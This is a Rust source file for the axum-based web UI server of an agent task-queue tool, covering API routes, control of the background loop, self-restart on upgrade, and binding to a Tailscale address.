1use std::collections::{HashMap, HashSet};
94use std::convert::Infallible;
95use std::net::{IpAddr, Ipv4Addr, SocketAddr};
96use std::path::{Path as FsPath, PathBuf};
97use std::pin::Pin;
98use std::sync::{Arc, Mutex, MutexGuard, PoisonError};
99use std::time::Duration;
100use tokio::sync::Notify;
101
102use anyhow::{Context, Result};
103use axum::Json;
104use axum::Router;
105use axum::body::Bytes;
106use axum::extract::rejection::JsonRejection;
107use axum::extract::{DefaultBodyLimit, Path, Query, State};
108use axum::http::{HeaderMap, HeaderValue, StatusCode, header};
109use axum::response::sse::{Event, KeepAlive, Sse};
110use axum::response::{IntoResponse, Response};
111use axum::routing::{get, post, put};
112use jiff::Timestamp;
113use serde::{Deserialize, Serialize};
114use tokio_stream::StreamExt as _;
115use tokio_stream::wrappers::ReceiverStream;
116
117use crate::agent;
118use crate::ask::{self, Answer, Question, Questions};
119use crate::config::{AgentKind, Config, Update, UpdateMode};
120use crate::md;
121use crate::notices::{Notice, Notices};
122use crate::proc::Quiet as _;
123use crate::queue::{Queue, Source, Task, TaskStatus, title_from};
124use crate::run::{RunState, RunStatus};
125use crate::talk::{Talk, Talks};
126use crate::{daemon, git, report, repos, run, settings, stats, talk, updater};
127
128pub const DEFAULT_PORT: u16 = 7878;
130
131const POLL: Duration = Duration::from_secs(1);
133
134const KEEPALIVE: Duration = Duration::from_secs(15);
138
139const UPDATE_RECHECK_POLL_MAX: Duration = Duration::from_secs(15 * 60);
150
151const UPDATE_RECHECK_POLL_MIN: Duration = Duration::from_secs(30);
154
155const LIST_DEFAULT: usize = 50;
159const LIST_MAX: usize = 500;
161
162const TITLE_MAX: usize = 72;
164
165const ATTACHMENT_MAX_BYTES: usize = 10 * 1024 * 1024;
174
175const ATTACHMENT_MIME_WHITELIST: [&str; 4] = ["image/png", "image/jpeg", "image/gif", "image/webp"];
181
182const FILENAME_HEADER: &str = "x-filename";
186
187const PANEL_CSP: &str = "default-src 'none'; img-src 'self' data:; style-src 'unsafe-inline'; \
210 font-src data:; base-uri 'none'; form-action 'none'; \
211 frame-ancestors 'self'";
212
213const INDEX_HTML: &str = include_str!("../assets/ui/index.html");
214const APP_CSS: &str = include_str!("../assets/ui/app.css");
215const APP_JS: &str = include_str!("../assets/ui/app.js");
216
217#[derive(Debug, Clone, Copy, PartialEq, Eq)]
219pub enum Bind {
220 Auto,
222 Addr(IpAddr),
224}
225
226impl std::str::FromStr for Bind {
227 type Err = String;
228
229 fn from_str(s: &str) -> std::result::Result<Self, Self::Err> {
233 if s.eq_ignore_ascii_case("auto") {
234 return Ok(Self::Auto);
235 }
236 s.parse()
237 .map(Self::Addr)
238 .map_err(|_| format!("expected `auto` or an IP address, got `{s}`"))
239 }
240}
241
242impl std::fmt::Display for Bind {
243 fn fmt(&self, f: &mut std::fmt::Formatter<'_>) -> std::fmt::Result {
244 match self {
245 Self::Auto => f.write_str("auto"),
246 Self::Addr(addr) => write!(f, "{addr}"),
247 }
248 }
249}
250
251#[derive(Debug, Clone)]
253pub struct Opts {
254 pub bind: Bind,
256 pub port: u16,
258 pub repo: PathBuf,
260 pub open: bool,
263 pub merge: Option<String>,
271}
272
273impl Default for Opts {
274 fn default() -> Self {
275 Self {
276 bind: Bind::Auto,
277 port: DEFAULT_PORT,
278 repo: PathBuf::from("."),
279 open: false,
280 merge: None,
281 }
282 }
283}
284
285#[derive(Debug, Clone)]
291pub struct Ui {
292 queue: Queue,
293 questions: Questions,
294 notices: Notices,
297 talks: Talks,
298 runs: PathBuf,
299 home: PathBuf,
300 repo: PathBuf,
301 worktrees_root: PathBuf,
308 talk_turns: Arc<Mutex<TalkTurns>>,
316 resuming: Arc<Mutex<HashSet<String>>>,
324 repos_cache: repos::Cache,
328 machine_config: Option<PathBuf>,
332 merge: Option<String>,
334 looping: Arc<Mutex<LoopState>>,
336 launch: Launch,
348 #[cfg(test)]
351 busy_queue_gate: Arc<Mutex<Option<BusyQueueGate>>>,
352}
353
354#[cfg(test)]
374struct BusyQueueGate {
375 reached: tokio::sync::oneshot::Sender<()>,
376 release: std::sync::mpsc::Receiver<()>,
377}
378
379#[cfg(test)]
380impl std::fmt::Debug for BusyQueueGate {
381 fn fmt(&self, f: &mut std::fmt::Formatter<'_>) -> std::fmt::Result {
382 f.debug_struct("BusyQueueGate").finish_non_exhaustive()
383 }
384}
385
386impl Ui {
387 pub fn new(
389 queue: Queue,
390 questions: Questions,
391 talks: Talks,
392 runs: PathBuf,
393 home: PathBuf,
394 repo: PathBuf,
395 ) -> Self {
396 Self {
397 queue,
398 questions,
399 notices: Notices::at(home.join("notifications")),
400 talks,
401 runs,
402 home,
403 repo,
404 worktrees_root: run::default_worktree_root(),
408 talk_turns: Arc::default(),
409 resuming: Arc::default(),
410 repos_cache: repos::Cache::new(),
411 machine_config: Config::machine_layer(),
412 merge: None,
413 looping: Arc::default(),
414 launch: launch_daemon,
415 #[cfg(test)]
416 busy_queue_gate: Arc::default(),
417 }
418 }
419
420 pub fn open(repo: PathBuf) -> Self {
423 Self::new(
424 Queue::open(),
425 Questions::open(),
426 Talks::open(),
427 run::runs_root(),
428 run::home(),
429 repo,
430 )
431 }
432
433 #[must_use]
440 pub fn with_merge(mut self, merge: Option<String>) -> Self {
441 self.merge = merge;
442 self
443 }
444
445 #[cfg(test)]
448 #[must_use]
449 fn with_machine_config(mut self, path: Option<PathBuf>) -> Self {
450 self.machine_config = path;
451 self
452 }
453
454 #[must_use]
459 pub fn with_worktrees_root(mut self, root: PathBuf) -> Self {
460 self.worktrees_root = root;
461 self
462 }
463
464 #[cfg(test)]
469 #[must_use]
470 fn with_launch(mut self, launch: Launch) -> Self {
471 self.launch = launch;
472 self
473 }
474
475 #[cfg(test)]
485 fn set_busy_queue_gate(&self, gate: BusyQueueGate) {
486 *self
487 .busy_queue_gate
488 .lock()
489 .unwrap_or_else(PoisonError::into_inner) = Some(gate);
490 }
491
492 fn looping(&self) -> Arc<Mutex<LoopState>> {
494 Arc::clone(&self.looping)
495 }
496
497 fn start_loop(&self, foreign: Option<Foreign>) -> ApiResult<()> {
504 if let Some(other) = foreign {
505 return Err(ApiError::conflict(format!(
506 "{} is already running the loop, so this one will not start a \
507 second: two loops on one queue race for the same claims and \
508 burn the agent quota twice over. Stop it where it was \
509 started.",
510 other.who()
511 )));
512 }
513 let mut state = self.lock_loop();
514 if state.live.as_ref().is_some_and(Live::alive) {
515 return Err(ApiError::conflict(format!(
516 "this magi web process (pid {}) is already running the loop",
517 std::process::id()
518 )));
519 }
520
521 let stop = daemon::Stop::new();
522 let opts = daemon::Opts {
526 repo: self.repo.clone(),
527 merge: self.merge.clone(),
528 worktrees_root: Some(self.worktrees_root.clone()),
535 ..daemon::Opts::default()
536 };
537 let launch = self.launch;
538 let looping = Arc::clone(&self.looping);
539 let handle = tokio::spawn({
540 let opts = opts.clone();
541 let stop = stop.clone();
542 async move {
543 let failure = match launch(opts, stop).await {
544 Ok(()) => None,
545 Err(e) => Some(format!("{e:#}")),
546 };
547 match &failure {
548 Some(why) => tracing::error!("the loop stopped: {why}"),
549 None => tracing::info!("the loop stopped"),
550 }
551 let mut state = lock_or_recover(&looping);
557 state.live = None;
558 state.last_error = failure;
559 state.rev += 1;
560 }
561 });
562 tracing::info!(
563 "the loop is now running in this process: repo {}, merge {}",
564 opts.repo.display(),
565 opts.merge.as_deref().unwrap_or("as the config says")
566 );
567 state.live = Some(Live { stop, handle, opts });
568 state.last_error = None;
571 state.rev += 1;
572 Ok(())
573 }
574
575 fn stop_loop(&self, foreign: Option<Foreign>, park: bool) -> ApiResult<()> {
581 if let Some(other) = foreign {
582 return Err(ApiError::conflict(format!(
583 "the loop belongs to {}, and this process cannot stop it - \
584 stop it where it was started. A button that silently did \
585 nothing would be worse than this refusal.",
586 other.who()
587 )));
588 }
589 let mut state = self.lock_loop();
590 if !park {
593 state.resume_after_handover = false;
594 }
595 let Some(live) = state.live.as_ref() else {
596 return Ok(());
597 };
598 if live.stop.stopped() && (!park || live.stop.parking()) {
602 return Ok(());
603 }
604 if park {
605 live.stop.park();
606 tracing::info!("the loop was asked to park; the run stops at its next node boundary");
607 } else {
608 live.stop.stop();
609 tracing::info!("the loop was asked to stop; a run in flight is finished first");
610 }
611 state.rev += 1;
612 Ok(())
613 }
614
615 fn loop_view(&self, reading: Option<daemon::Reading>) -> LoopView {
622 let state = self.lock_loop();
623 let live = state.live.as_ref().filter(|live| live.alive());
626 LoopView {
627 running: live.is_some(),
628 stopping: live.is_some_and(|live| live.stop.finishing()),
629 parking: live.is_some_and(|live| live.stop.parking()),
630 owned: live.is_some(),
631 repo: live
632 .map_or(&self.repo, |live| &live.opts.repo)
633 .display()
634 .to_string(),
635 merge: live.map_or_else(|| self.merge.clone(), |live| live.opts.merge.clone()),
636 last_error: state.last_error.clone(),
637 daemon: DaemonView::of(reading),
638 }
639 }
640
641 fn resume_after_handover(&self, resume: bool) -> bool {
647 if !resume {
648 return false;
649 }
650 let foreign = Foreign::of(daemon::read_status(&self.home).as_ref());
651 match self.start_loop(foreign) {
652 Ok(()) => true,
653 Err(e) => {
654 let why = format!(
655 "the loop could not be resumed after the upgrade: {}",
656 e.message
657 );
658 tracing::warn!("{why}");
659 let mut state = self.lock_loop();
660 state.last_error = Some(why);
661 state.rev += 1;
662 false
663 }
664 }
665 }
666
667 fn lock_loop(&self) -> MutexGuard<'_, LoopState> {
669 lock_or_recover(&self.looping)
670 }
671
672 fn is_thinking(&self, id: &str) -> bool {
678 self.talk_turns
679 .lock()
680 .is_ok_and(|turns| turns.live.contains(id))
681 }
682
683 fn begin_talk_turn(&self, id: &str) -> ApiResult<Option<TalkTurnGuard>> {
702 self.claim_talk_turn(id, false)
703 }
704
705 fn begin_queued_talk_turn(&self, id: &str) -> ApiResult<Option<TalkTurnGuard>> {
708 self.claim_talk_turn(id, true)
709 }
710
711 fn claim_talk_turn(&self, id: &str, queued: bool) -> ApiResult<Option<TalkTurnGuard>> {
712 let mut live = self
713 .talk_turns
714 .lock()
715 .map_err(|_| ApiError::internal("the talk turn lock was poisoned"))?;
716 if !live.live.insert(id.to_owned()) {
717 if queued {
718 *live.queued.entry(id.to_owned()).or_default() += 1;
723 }
724 return Ok(None);
725 }
726 Ok(Some(TalkTurnGuard {
727 talk: id.to_owned(),
728 turns: Arc::clone(&self.talk_turns),
729 released: false,
730 }))
731 }
732
733 fn begin_talk_turn_unless_pending(&self, id: &str) -> ApiResult<TalkTurnStart> {
738 let mut live = self
739 .talk_turns
740 .lock()
741 .map_err(|_| ApiError::internal("the talk turn lock was poisoned"))?;
742 if live.live.contains(id) {
743 return Ok(TalkTurnStart::Busy);
744 }
745 let talk = self.talks.get(id).map_err(ApiError::from)?;
746 if !talk.pending.is_empty() || !talk.pending_attachments.is_empty() {
747 return Ok(TalkTurnStart::Pending);
748 }
749 live.live.insert(id.to_owned());
750 Ok(TalkTurnStart::Claimed(TalkTurnGuard {
751 talk: id.to_owned(),
752 turns: Arc::clone(&self.talk_turns),
753 released: false,
754 }))
755 }
756
757 fn park_for_upgrade(&self) -> ApiResult<Option<String>> {
764 let parking = {
765 let mut state = self.lock_loop();
766 let resume = state.resume_after_handover
776 || state
777 .live
778 .as_ref()
779 .is_some_and(|live| live.alive() && !live.stop.stopped());
780 state.resume_after_handover = resume;
781 let Some(live) = state.live.as_ref() else {
782 return Ok(None);
783 };
784 let busy = live.stop.busy_now();
785 live.stop.park();
786 state.rev += 1;
787 busy
788 };
789 Ok(if parking {
790 daemon::current_work(&self.home, jiff::Timestamp::now())
795 .into_iter()
796 .next()
797 .map(|c| c.run)
798 } else {
799 None
800 })
801 }
802
803 fn begin_resume(&self, id: &str) -> ApiResult<ResumeGuard> {
807 let mut live = self
808 .resuming
809 .lock()
810 .map_err(|_| ApiError::internal("the resume lock was poisoned"))?;
811 if !live.insert(id.to_owned()) {
812 return Err(ApiError::conflict(format!(
813 "run {id} is already being resumed"
814 )));
815 }
816 Ok(ResumeGuard {
817 run: id.to_owned(),
818 resuming: Arc::clone(&self.resuming),
819 })
820 }
821
822 pub fn router(self) -> Router {
830 Router::new()
831 .route("/", get(index))
832 .route("/app.css", get(app_css))
833 .route("/app.js", get(app_js))
834 .route("/api/health", get(health))
835 .route("/api/loop", get(loop_get).post(loop_post))
836 .route("/api/upgrade", post(upgrade_post))
837 .route("/api/runs", get(runs_list))
838 .route("/api/runs/{id}", get(run_detail).delete(run_delete))
839 .route("/api/runs/{id}/report", get(run_report))
840 .route("/api/runs/{id}/report.json", get(run_report_json))
841 .route("/api/runs/{id}/fold", post(run_fold))
842 .route("/api/runs/{id}/fold-merged", post(run_fold_merged))
843 .route("/api/runs/{id}/resume", post(run_resume))
844 .route("/api/queue", get(queue_list))
845 .route("/api/search", get(search_get))
846 .route("/api/queue/{id}", get(task_detail).delete(queue_delete))
847 .route("/api/stats", get(stats_get))
848 .route("/api/repos", get(repos_list))
849 .route("/api/settings", get(settings_get))
850 .route("/api/settings/roles", put(settings_put_roles))
851 .route("/api/queue/{id}/hold", post(queue_hold))
852 .route("/api/queue/{id}/release", post(queue_release))
853 .route("/api/queue/{id}/priority", post(queue_priority))
854 .route("/api/queue/{id}/edit", post(queue_edit))
855 .route("/api/queue/{id}/done", post(queue_done))
856 .route("/api/questions", get(questions_list))
857 .route("/api/questions/{id}/answer", post(question_answer))
858 .route("/api/questions/{id}/say", post(question_say))
859 .route("/api/questions/{id}/consult", post(question_consult))
860 .route("/api/questions/{id}/panel", get(question_panel))
861 .route("/api/questions/{id}/panel/index.html", get(question_panel))
869 .route("/api/questions/{id}/panel/{name}", get(question_asset))
870 .route("/api/questions/{id}/asset/{name}", get(question_asset))
871 .route("/api/notifications", get(notifications_list))
872 .route("/api/notifications/read-all", post(notifications_read_all))
873 .route("/api/notifications/{id}/read", post(notification_read))
874 .route(
875 "/api/notifications/{id}/dismiss",
876 post(notification_dismiss),
877 )
878 .route("/api/talks", get(talks_list).post(talk_post))
879 .route("/api/talks/{id}", get(talk_detail).delete(talk_delete))
880 .route("/api/talks/{id}/say", post(talk_say))
881 .route("/api/talks/{id}/pending/resume", post(talk_pending_resume))
882 .route("/api/talks/{id}/pending/clear", post(talk_pending_clear))
883 .route("/api/talks/{id}/pending/edit", post(talk_pending_edit))
884 .route("/api/talks/{id}/agent", post(talk_agent))
885 .route("/api/talks/{id}/close", post(talk_close))
886 .route("/api/talks/{id}/reopen", post(talk_reopen))
887 .route(
893 "/api/talks/{id}/attachments",
894 post(talk_attachment_post).layer(DefaultBodyLimit::max(ATTACHMENT_MAX_BYTES + 1)),
895 )
896 .route(
897 "/api/talks/{id}/attachments/{att}",
898 get(talk_attachment_get),
899 )
900 .route("/api/events", get(events))
901 .with_state(Arc::new(self))
902 }
903}
904
905#[derive(Debug)]
911struct TalkTurnGuard {
912 talk: String,
913 turns: Arc<Mutex<TalkTurns>>,
914 released: bool,
915}
916
917#[derive(Debug, Default)]
924struct TalkTurns {
925 live: HashSet<String>,
926 queued: HashMap<String, u64>,
927}
928
929enum TalkTurnStart {
932 Claimed(TalkTurnGuard),
933 Busy,
934 Pending,
935}
936
937impl TalkTurnGuard {
938 fn release(mut self, live: &mut TalkTurns) {
941 live.live.remove(&self.talk);
942 live.queued.remove(&self.talk);
943 self.released = true;
944 }
945}
946
947impl Drop for TalkTurnGuard {
948 fn drop(&mut self) {
949 if self.released {
950 return;
951 }
952 if let Ok(mut live) = self.turns.lock() {
953 live.live.remove(&self.talk);
954 live.queued.remove(&self.talk);
955 }
956 }
957}
958
959struct ResumeGuard {
961 run: String,
962 resuming: Arc<Mutex<HashSet<String>>>,
963}
964
965impl Drop for ResumeGuard {
966 fn drop(&mut self) {
967 if let Ok(mut live) = self.resuming.lock() {
968 live.remove(&self.run);
969 }
970 }
971}
972
973async fn bind_waiting(socket: SocketAddr) -> Result<tokio::net::TcpListener> {
983 const WINDOW: Duration = Duration::from_secs(10);
984 const GAP: Duration = Duration::from_millis(250);
985
986 let deadline = std::time::Instant::now() + WINDOW;
987 let mut said = false;
988 loop {
989 match tokio::net::TcpListener::bind(socket).await {
990 Ok(listener) => return Ok(listener),
991 Err(e)
992 if e.kind() == std::io::ErrorKind::AddrInUse
993 && std::time::Instant::now() < deadline =>
994 {
995 if !said {
996 said = true;
997 tracing::info!(
998 "{socket} is still held - waiting up to {}s for it, \
999 which is what a restart looks like from here",
1000 WINDOW.as_secs()
1001 );
1002 }
1003 tokio::time::sleep(GAP).await;
1004 }
1005 Err(e) => return Err(e).with_context(|| format!("bind {socket}")),
1006 }
1007 }
1008}
1009
1010static HANDOVER: std::sync::LazyLock<Notify> = std::sync::LazyLock::new(Notify::new);
1013
1014const RESUME_LOOP_ENV: &str = "MAGI_WEB_RESUME_LOOP";
1016
1017fn resume_requested(value: Option<std::ffi::OsString>) -> bool {
1019 value.is_some_and(|v| v == "1")
1020}
1021
1022fn spawn_successor(home: &FsPath, resume: bool) -> Result<u32> {
1045 let exe = std::env::current_exe().context("find this binary")?;
1046 let args: Vec<String> = std::env::args().skip(1).collect();
1047 updater::log_step(
1048 home,
1049 &format!("restarting: {} {}", exe.display(), args.join(" ")),
1050 );
1051 let log_path = home.join(WEB_LOG);
1052 let open_log = || {
1053 std::fs::create_dir_all(home)?;
1054 std::fs::OpenOptions::new()
1055 .create(true)
1056 .append(true)
1057 .open(&log_path)
1058 };
1059 let (out, err) = match open_log().and_then(|f| Ok((f.try_clone()?, f))) {
1060 Ok(pair) => (
1061 std::process::Stdio::from(pair.0),
1062 std::process::Stdio::from(pair.1),
1063 ),
1064 Err(e) => {
1065 updater::log_warn(
1066 home,
1067 &format!(
1068 "could not open {}: {e}; the successor logs nowhere",
1069 log_path.display()
1070 ),
1071 );
1072 (std::process::Stdio::null(), std::process::Stdio::null())
1073 }
1074 };
1075
1076 let mut cmd = std::process::Command::new(&exe);
1077 if resume {
1078 cmd.env(RESUME_LOOP_ENV, "1");
1079 } else {
1080 cmd.env_remove(RESUME_LOOP_ENV);
1081 }
1082 cmd.args(&args)
1083 .stdin(std::process::Stdio::null())
1084 .stdout(out)
1085 .stderr(err);
1086 #[cfg(windows)]
1087 {
1088 use std::os::windows::process::CommandExt as _;
1089 cmd.creation_flags(0x0000_0008 | 0x0000_0200);
1092 }
1093 let child = cmd.spawn().context("start the successor")?;
1094 Ok(child.id())
1095}
1096
1097const WEB_LOG: &str = "web.log";
1099
1100async fn wait_for_handover(signal: &Notify) {
1104 signal.notified().await;
1105}
1106
1107pub async fn serve(opts: Opts) -> Result<()> {
1132 let (addr, warning) = resolve_bind(&opts.bind);
1133 if let Some(warning) = warning {
1134 tracing::warn!("{warning}");
1135 }
1136
1137 report::set_color(false);
1143
1144 let repo = normalize_default_repo(opts.repo).await;
1145 let ui = Ui::open(repo).with_merge(opts.merge);
1146 let home = ui.home.clone();
1151 let repo = ui.repo.clone();
1152 updater::reconcile_after_restart(&home);
1157 updater::log_step(
1158 &home,
1159 &format!(
1160 "web process started (version {}); handover log {}, successor output {}",
1161 env!("CARGO_PKG_VERSION"),
1162 updater::log_path(&home).display(),
1163 home.join(WEB_LOG).display()
1164 ),
1165 );
1166 updater::spawn_watchdog(home.clone());
1167 tokio::spawn(run_update_recheck(repo, home.clone()));
1176 let looping = ui.looping();
1177 let socket = SocketAddr::new(addr, opts.port);
1178 let listener = bind_waiting(socket).await?;
1179 let url = format!("http://{addr}:{}", opts.port);
1180 tracing::info!(
1181 "magi web UI on {url} - there is no authentication, so anyone who can \
1182 reach this address can file and hold tasks: the tailnet is the \
1183 security boundary"
1184 );
1185 if ui.resume_after_handover(resume_requested(std::env::var_os(RESUME_LOOP_ENV))) {
1186 tracing::info!("resumed the loop the predecessor was running");
1187 } else {
1188 tracing::info!(
1189 "the queue loop is not running yet - start it from the UI, which is \
1190 the whole reason this process can: nothing in the queue moves until \
1191 something is running the loop"
1192 );
1193 }
1194 if opts.open {
1195 println!("{url}");
1199 }
1200
1201 let mut served = tokio::spawn(axum::serve(listener, ui.router()).into_future());
1204 let interrupted = async {
1205 if tokio::signal::ctrl_c().await.is_err() {
1206 std::future::pending::<()>().await;
1211 }
1212 };
1213 let handover = wait_for_handover(&HANDOVER);
1214 let outcome = tokio::select! {
1215 joined = &mut served => match joined {
1216 Ok(outcome) => outcome.context("serve the web UI"),
1217 Err(e) => Err(e).context("the task serving the web UI ended"),
1218 },
1219 () = interrupted => {
1220 tracing::info!("shutting down the web UI");
1221 finish_loop(&home, &looping).await;
1222 Ok(())
1223 }
1224 () = handover => {
1225 updater::log_step(&home, "serve: the select! woke on the handover signal");
1226 let successor_home = home.clone();
1227 hand_over(&home, &looping, served, move |resume| {
1228 spawn_successor(&successor_home, resume)
1229 })
1230 .await
1231 }
1232 };
1233 updater::log_step(
1234 &home,
1235 &match &outcome {
1236 Ok(()) => "serve: returning Ok; the process should exit now".to_owned(),
1237 Err(e) => format!("serve: returning an error: {e:#}"),
1238 },
1239 );
1240 outcome
1241}
1242
1243async fn normalize_default_repo(repo: PathBuf) -> PathBuf {
1264 if repo != FsPath::new(".") {
1265 return repo;
1266 }
1267 let Ok(canonical) = repo.canonicalize() else {
1268 return repo;
1269 };
1270 if git::toplevel(&canonical).await.is_ok() {
1271 return repo;
1272 }
1273 let Some(home) = dirs::home_dir() else {
1274 return repo;
1275 };
1276 match repos::discover_verified(&home, &[], None, updater::repo_name()).await {
1277 Some(found) => {
1278 tracing::info!(
1279 "the default --repo `.` ({}) is not a git checkout; using {} instead - {}",
1280 canonical.display(),
1281 found.path.display(),
1282 found.reason,
1283 );
1284 found.path
1285 }
1286 None => repo,
1287 }
1288}
1289
1290async fn hand_over(
1320 home: &FsPath,
1321 looping: &Mutex<LoopState>,
1322 served: tokio::task::JoinHandle<std::io::Result<()>>,
1323 successor: impl FnOnce(bool) -> Result<u32>,
1324) -> Result<()> {
1325 updater::log_step(home, "hand_over: entered; writing the parking stage");
1326 match updater::read_progress(home) {
1327 Some(mut progress) => {
1328 progress.advance(updater::Stage::Parking);
1329 updater::write_progress_logged(home, &progress);
1330 }
1331 None => updater::log_warn(
1332 home,
1333 "hand_over: upgrade.json is unreadable; no parking stage",
1334 ),
1335 }
1336 finish_loop(home, looping).await;
1337 updater::log_step(home, "hand_over: releasing the listener (abort and await)");
1338 served.abort();
1339 let _ = served.await;
1340 updater::log_step(home, "hand_over: listener released");
1341 let resume = lock_or_recover(looping).resume_after_handover;
1344 match updater::read_progress(home) {
1345 Some(mut progress) => {
1346 progress.advance(updater::Stage::Restarting);
1347 updater::write_progress_logged(home, &progress);
1348 }
1349 None => updater::log_warn(
1350 home,
1351 "hand_over: upgrade.json is unreadable; no restarting stage",
1352 ),
1353 }
1354 updater::log_step(
1355 home,
1356 &format!("hand_over: starting the successor (resume={resume})"),
1357 );
1358 match successor(resume) {
1359 Ok(pid) => {
1360 updater::log_step(home, &format!("hand_over: successor started, pid {pid}"));
1361 Ok(())
1362 }
1363 Err(e) => {
1364 updater::log_warn(
1365 home,
1366 &format!("hand_over: the successor did not start: {e:#}"),
1367 );
1368 Err(e)
1369 }
1370 }
1371}
1372
1373async fn finish_loop(home: &FsPath, state: &Mutex<LoopState>) {
1380 let live = lock_or_recover(state).live.take();
1381 let Some(live) = live else {
1382 updater::log_step(home, "finish_loop: no loop running; nothing to wait for");
1383 return;
1384 };
1385 live.stop.stop();
1386 lock_or_recover(state).rev += 1;
1387 updater::log_step(
1388 home,
1389 "finish_loop: waiting for the loop to finish the run in flight",
1390 );
1391 let waited = std::time::Instant::now();
1392 let _ = live.handle.await;
1395 updater::log_step(
1396 home,
1397 &format!(
1398 "finish_loop: the loop ended after {:.1}s",
1399 waited.elapsed().as_secs_f32()
1400 ),
1401 );
1402}
1403
1404pub fn resolve_bind(bind: &Bind) -> (IpAddr, Option<String>) {
1410 match bind {
1411 Bind::Addr(addr) => (*addr, None),
1412 Bind::Auto => match tailscale_ip() {
1413 Ok(ip) => (IpAddr::V4(ip), None),
1414 Err(why) => (
1415 IpAddr::V4(Ipv4Addr::LOCALHOST),
1416 Some(format!(
1417 "--bind auto fell back to 127.0.0.1: {why}. The UI is \
1418 local-only and a phone cannot reach it; start Tailscale \
1419 or pass --bind <addr>"
1420 )),
1421 ),
1422 },
1423 }
1424}
1425
1426fn tailscale_ip() -> std::result::Result<Ipv4Addr, String> {
1434 let out = std::process::Command::new("tailscale")
1435 .args(["ip", "-4"])
1436 .quiet()
1437 .output()
1438 .map_err(|e| format!("could not run `tailscale ip -4` ({e})"))?;
1439 if !out.status.success() {
1440 let why = String::from_utf8_lossy(&out.stderr);
1441 let why = why.trim();
1442 return Err(format!(
1443 "`tailscale ip -4` failed ({}){}",
1444 out.status,
1445 if why.is_empty() {
1446 String::new()
1447 } else {
1448 format!(": {why}")
1449 }
1450 ));
1451 }
1452 String::from_utf8_lossy(&out.stdout)
1453 .lines()
1454 .filter_map(|line| line.trim().parse::<Ipv4Addr>().ok())
1455 .find(is_tailnet)
1456 .ok_or_else(|| "`tailscale ip -4` printed no address in 100.64.0.0/10".to_owned())
1457}
1458
1459fn is_tailnet(ip: &Ipv4Addr) -> bool {
1461 let o = ip.octets();
1462 o[0] == 100 && (64..=127).contains(&o[1])
1463}
1464
1465type ApiResult<T> = std::result::Result<T, ApiError>;
1469
1470#[derive(Debug)]
1472struct ApiError {
1473 status: StatusCode,
1474 message: String,
1475}
1476
1477impl ApiError {
1478 fn bad_request(message: impl Into<String>) -> Self {
1480 Self {
1481 status: StatusCode::BAD_REQUEST,
1482 message: message.into(),
1483 }
1484 }
1485
1486 fn not_found(message: impl Into<String>) -> Self {
1488 Self {
1489 status: StatusCode::NOT_FOUND,
1490 message: message.into(),
1491 }
1492 }
1493
1494 fn with_status(mut self, status: StatusCode) -> Self {
1497 self.status = status;
1498 self
1499 }
1500
1501 fn bad_request_from(e: anyhow::Error) -> Self {
1505 Self::bad_request(format!("{e:#}"))
1506 }
1507
1508 fn conflict(message: impl Into<String>) -> Self {
1509 Self {
1510 status: StatusCode::CONFLICT,
1511 message: message.into(),
1512 }
1513 }
1514
1515 fn internal(message: impl Into<String>) -> Self {
1517 Self {
1518 status: StatusCode::INTERNAL_SERVER_ERROR,
1519 message: message.into(),
1520 }
1521 }
1522}
1523
1524impl From<anyhow::Error> for ApiError {
1525 fn from(e: anyhow::Error) -> Self {
1530 Self::internal(format!("{e:#}"))
1531 }
1532}
1533
1534impl IntoResponse for ApiError {
1535 fn into_response(self) -> Response {
1536 let body = serde_json::json!({ "error": self.message });
1537 (self.status, Json(body)).into_response()
1538 }
1539}
1540
1541async fn blocking<T>(job: impl FnOnce() -> ApiResult<T> + Send + 'static) -> ApiResult<T>
1550where
1551 T: Send + 'static,
1552{
1553 match tokio::task::spawn_blocking(job).await {
1554 Ok(result) => result,
1555 Err(e) => Err(ApiError::internal(format!("filesystem task failed: {e}"))),
1556 }
1557}
1558
1559const ASSET_CACHE: &str = "no-cache, must-revalidate";
1577
1578fn asset_etag() -> &'static str {
1585 static TAG: std::sync::LazyLock<String> = std::sync::LazyLock::new(|| {
1586 format!(
1587 "\"{}-{}\"",
1588 env!("CARGO_PKG_VERSION"),
1589 INDEX_HTML.len() + APP_CSS.len() + APP_JS.len()
1594 )
1595 });
1596 &TAG
1597}
1598
1599fn asset_headers(mime: &'static str) -> [(header::HeaderName, &'static str); 3] {
1601 [
1602 (header::CONTENT_TYPE, mime),
1603 (header::CACHE_CONTROL, ASSET_CACHE),
1604 (header::ETAG, asset_etag()),
1605 ]
1606}
1607
1608fn asset(headers: &header::HeaderMap, mime: &'static str, body: &'static str) -> Response {
1616 let tag = asset_etag();
1617 let known = headers
1618 .get(header::IF_NONE_MATCH)
1619 .and_then(|v| v.to_str().ok())
1620 .is_some_and(|sent| sent.split(',').any(|one| one.trim().ends_with(tag)));
1624 if known {
1625 return (StatusCode::NOT_MODIFIED, asset_headers(mime)).into_response();
1626 }
1627 (asset_headers(mime), body).into_response()
1628}
1629
1630async fn index(headers: header::HeaderMap) -> Response {
1631 asset(&headers, "text/html; charset=utf-8", INDEX_HTML)
1632}
1633
1634async fn app_css(headers: header::HeaderMap) -> Response {
1635 asset(&headers, "text/css; charset=utf-8", APP_CSS)
1636}
1637
1638async fn app_js(headers: header::HeaderMap) -> Response {
1639 asset(&headers, "text/javascript; charset=utf-8", APP_JS)
1640}
1641
1642#[derive(Debug, Serialize)]
1644struct HealthView {
1645 version: &'static str,
1646 home: String,
1647 queue_rev: u64,
1648 runs_rev: u64,
1649 questions_rev: u64,
1661 talks_rev: u64,
1663 notifications_rev: u64,
1665 notifications_unread: usize,
1668 loop_rev: u64,
1673 runs_unreadable: usize,
1681 disk: DiskView,
1689 questions_open: usize,
1695 questions_needs_owner: usize,
1705 daemon: DaemonView,
1706 #[serde(rename = "loop")]
1712 looping: LoopView,
1713 update: UpdateView,
1720 upgrade: Option<UpgradeProgressView>,
1724}
1725
1726#[derive(Debug, Serialize)]
1733struct UpdateView {
1734 available: bool,
1736 to: Option<String>,
1738}
1739
1740#[derive(Debug, Serialize)]
1742struct UpgradeProgressView {
1743 stage: updater::Stage,
1744 from: String,
1745 to: Option<String>,
1746 waiting_on: Option<String>,
1749 started_at: Timestamp,
1750 updated_at: Timestamp,
1751 detail: Option<String>,
1752 stuck_for_secs: Option<i64>,
1755}
1756
1757fn should_spawn_recheck(cfg: &Update) -> bool {
1764 cfg.mode != UpdateMode::Off && !updater::disabled_by_env()
1765}
1766
1767fn update_recheck_due(checker: &updater::Checker, progress: Option<&updater::Progress>) -> bool {
1779 if progress.is_some_and(|p| !p.stage.terminal()) {
1780 return false;
1781 }
1782 checker.should_check()
1783}
1784
1785fn recheck_poll_period(cfg: &Update) -> Duration {
